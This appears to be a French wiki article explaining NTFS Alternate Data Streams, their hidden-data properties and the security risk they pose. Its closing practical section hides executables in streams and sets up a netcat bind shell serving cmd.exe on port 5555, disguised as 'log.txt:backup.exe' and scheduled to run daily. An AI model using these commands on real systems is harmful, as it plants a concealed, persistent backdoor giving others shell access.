Les flux ADS (Alternate Data Streams)
Un article de SeRoM - Wiki.
Sommaire |
[modifier] Introduction
Le système de fichiers NTFS, utilisé par Microsoft a une fonctionnalité qui est peu documentée et inconnue de beaucoup de développeurs, administrateurs. Cette fonctionnalité se nomme Alternate Data Streams et permet à des données comme du texte, des graphiques ou du code exécutable d'être stockées dans des fichiers cachés. Ces derniers sont liés à un fichier visible normal.
L'utilité principale de ces flux etaient de permettre le support du système de fichiers Macintosh Hierarchical File System (HFS) et ainsi de permettre à un système de type Windows NT d'être serveur de fichiers pour des clients Macintosh.
[modifier] Propriétées de ces flux
- Les flux ne sont visibles que par des logiciels spécialisés.
- Les flux ne s'attachent pas seulement aux fichiers, ils s'attachent également aux répertoires.
- Il peut y avoir plusieurs flux attachés à un même fichier.
- Un flux ne peut être effacé. Le fichier avec lequel il est attaché doit être effacé pour que le flux soit enlevé.
- Un flux attaché à un répertoire racine, par exemple "c::MonStream" ne peut être effacé.
- "L'espace disque disponible" affiché par un programme comme Windows Explorer ne prend pas en compte l'espace disque consommé par les flux.
- Un programme peut écrire dans un flux (et remplir le disque dur d'un utilisateur.)
- Les flux peuvent être executés.
- Les flux qui s'exécutent n'ont pas leur nom correctement affiché dans le Gestionnaire des tâches.
[modifier] Le risque
Le principal risque au niveau de la sécurité est que les ADS sont complètement cachés. Ceci offre une possibilité pour des trojan, virus, backdoor ou deni de service.
[modifier] En pratique
tous d'abort on creer un fichier (ouvrir une commande (cmd.exe))
echo Fichier test > testAds.txt
et ensuite on y attache un flux :
echo Ceci est un ADS > testAds.txt:MonStream.txt
Le flux NTFS peut être affiché en tapant:
notepad hsc.txt:MonStream
Exemple pour créer un Alternate Data Stream exécutable:
c:\type c:\winnt\notepad.exe > hsc.txt:NotepadCache.exe c:\type c:\hsc\hack.exe > hsc.txt:hack.exe
Exemple avec netcat:
c:\> type c:\winnt\system32\nc.exe > c:\tmp\log.txt:backup.exe c:\> start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe c:\> at \\127.0.0.1 14:30 /every:M,T,W,Th,F,S,Su start /b c:\tmp\log.txt:backup.exe -L -p 5555 -d -e cmd.exe
la commande at lancera netcat tous les jour a 14h30

